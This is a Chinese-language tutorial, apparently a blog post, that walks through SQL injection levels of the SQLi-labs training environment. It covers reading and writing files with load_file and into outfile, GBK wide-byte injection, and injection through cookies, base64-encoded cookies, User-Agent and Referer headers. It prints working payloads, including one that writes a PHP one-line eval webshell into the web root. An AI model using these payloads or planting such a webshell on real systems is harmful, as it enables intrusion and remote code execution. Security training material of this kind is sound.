系列文章目录
1. SQL注入——基础知识
2. SQL注入
3. 全自动化注入SqlMap
前言
本文将会介绍几个其他注入方法:
- 利用SQL注入漏洞读写文件
- 宽字节注入
- Cookie注入
- base64注入
- HTTP头部注入
- Referer注入
一、利用SQL注入漏洞读写文件
(一)读写文件的前提条件
1. secure-file-priv
- 可以在phpmyadmin 中看到该变量,secure-file-priv参数在高版本的mysql数据库中限制了文件的导入导出操作。
修改参数可以写在my.ini 配置文件中 mysqld(MySQL服务)下进行:需要修改my.ini配置文件,配置参数secure-file-priv;
配置完成后需要重启mysql 服务。
- 关于该参数值的相关说明:
- secure-file-priv 参数配置 含义
- secure-file-priv= 不对mysqld的导入导出操作做限制
- secure-file-priv=‘c:/a/’ 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)
- secure-file-priv=null 限制mysqld 不允许导入导出操作
2. 当前用户具有文件权限
查询语句 select File_priv from mysql.user where user="root" and host="localhost"
查询发现当前用于具有文件权限
3. 知道要写入目标文件的绝对路径
绝对路径的写法【两者都可以使用】
- linux系统中路径用/分隔:
C:/Windows/System32/drivers/etc/hosts
- windows中用\分隔,涉及到转义字符,所用用\ :
C:\\Windows\\System32\\drivers\\etc\\hosts
(二)读取文件操作
load_file( '要读取文件的路径' )
?id=-1' union select 1, load_file( 'C:\\Windows\\System32\\drivers\\etc\\hosts' ),3 --+
我们发现 11的位置会有显示
读取 hosts文件
(三)写入文件操作
into outfile '写入的位置'
?id=1'and 1=2 union select 1, ' <?php @eval($_REQUEST[777]);?> ' , 3 into outfile 'C:\\phpstudy\\www\\test.php'--+
- 直接传入参数,页面如果不报错,说明写入成功,可以直接访问写入的文件
http://localhost/test.php
, - 此处写入的<?php @eval($_REQUEST[777]);?> 是一句话木马
例1:在文件中写入数字 1-15
例2:在文件中写入php代码
二、宽字节注入
SQLi-labs 32 关:宽字节注入
Step1. 页面有回显
Step2. 页面有报错(不同于之前的报错)
- 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况:使用
?id=1'
进行测试的时候,发现提交的单引号会被转义\'
。
转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说我们提交的单引号不会影响到原来SQL 语句的结构。
Step3. 宽字节注入
- 阅读32 关的源码,发现几句非常意思的代码:
-
- 对输入的 单引号 和 双引号 做了转义。
-
- 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL语句拼接,最后进行数据库查询。
- 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL语句拼接,最后进行数据库查询。
-
- GBK编码
- GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。
- GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
- 转移字符
\
的编码是5c,正好在GBK编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c,会被看作GBK汉字的低位字节编码,从而失去转义的作用。 - 如果我们提交这样的参数
?id=1%df' union select 1,2,3 --+
,就可以使用联合查询进行注入了。【注:Oxdf5c 是一个汉字"運”】
Step4. 猜测字段数
Step5. 成功注入
三、Cookie注入
SQLi-labs 第 20 关:Cookie 注入
Cookie 注入的注入参数需要通过Cookie 提交,可以通过document.cookie
在控制台完成对浏览器Cookie 的读写。
来到 Less-20,在控制台输入 document.cookie= 'uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"
,刷新页面即可。
Step1. 抓包
-
在提交数据前先抓一个数据包1
将抓到的数据包1放到repeater模块
-
输入用户名和密码并提交,同时抓数据包2
将抓到的数据包2发送到repeater模块
-
在repeater模块将抓到的两个包都发送到comparer模块
比较两个数据包,发现:第二个数据包比第一个数据包多了 Cookie
Step2. 重放数据包
- Repeater模块可以重放数据包
- 单引号闭合并重放,发现报错,说明是字符型注入,且使用单引号闭合。
- 没有回显,但是有报错信息,所以选择报错注入。
Step3. 注入成功
四、base64注入
SQLi-labs 第 22 关:base64 注入
base64 注入是指将注入字段经过base64编码。
我们可以使用报错注入手法,payload [document.cookie=“uname=Dumb” and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="
刷新网页即可。
Step1. 删除浏览器的Cookie,再次提交数据并抓包
这里报了错,是因为时区的问题,在 Step3 中会修改
Step2. 将抓到的包发给repeater模块
- 右击即可把包发给repeater模块
- 在Repeater模块查看数据包
Cookie: uname=RHVtYg%3D%3D
- 在Decoder模块进行URL解码:%3D 就是 =
- 将包中的 %3D 换成 = ,重放数据包,得到的数据包和之前是一样的
Step3. 解决报错——设置时区
- 将时区设置为东八区
- 重启php后,再次发送数据包,不报错
Step4. base64解码
Step5. base64编码
将我们想要填入的内容进行base64编码后再填入Cookie中,并重放数据包
-
添加单引号 Dumb’
-
添加双引号 Dumb" ~~~~~~~~ → 字符型注入,双引号闭合
Step6. 报错注入
五、HTTP头部注入
http 头部注入就是指注入字段在HTTP头部的字段中,这些字段通常有User-Agent、Referer等。
1. User-Agent 注入
SQLi-labs 第18 关:注入字段在 User-Agent 中
payload:User-Agent:hacker'and updatexml(1,concat(Ox7e,database(),Ox7e),1) and'1'='1
Step1. 抓包
Step2. 字符型注入
Step3. 在 User-Agent 中报错注入
2. Referer 注入
SQLi-labs 第19关:注入字段在 Referer 中
payload:hacker' and updatexml(1,concat(Ox7e,database(),0x7e),1) and ‘1'='1